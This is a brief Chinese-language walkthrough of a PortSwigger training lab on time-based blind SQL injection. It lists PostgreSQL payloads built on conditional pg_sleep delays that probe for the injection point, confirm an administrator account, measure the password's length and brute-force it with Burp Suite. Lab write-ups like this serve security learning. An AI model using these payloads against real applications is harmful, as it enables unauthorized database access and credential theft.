- pg_sleep(10) 延时10s
- 题目链接:https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
- 本题主要是通过延时来判断注入的语句是否正确。payload为:
'%3bselect case when (username='administrator' and substring(password,1,1)='a') then pg_sleep(10) else pg_sleep(0) end from users -- (%3b表示分号)
- 但是在这之前,要先判断是否存在延时注入点,即:
'%3bselect case when (1=1) then pg_sleep(10) else pg_sleep(0) end --
和
'%3bselect case when (1=2) then pg_sleep(10) else pg_sleep(0) end --
- 然后判断是否在users表中存在username字段且存在administrator值,即:
'%3bselect case when (username='administrator') then pg_sleep(10) else pg_sleep(0) end from users --
- 然后判断对应password的长度:
'%3bselect case when (username='administrator' and length(password)>1) then pg_sleep(10) else pg_sleep(0) end from users--
- 最后就是用brupsuit暴密码,也就是最上面的payload,其中记得在选项里调整线程为1,且在结果框的最上方菜单栏的column中选择“响应获得时间”,以找出正确结果。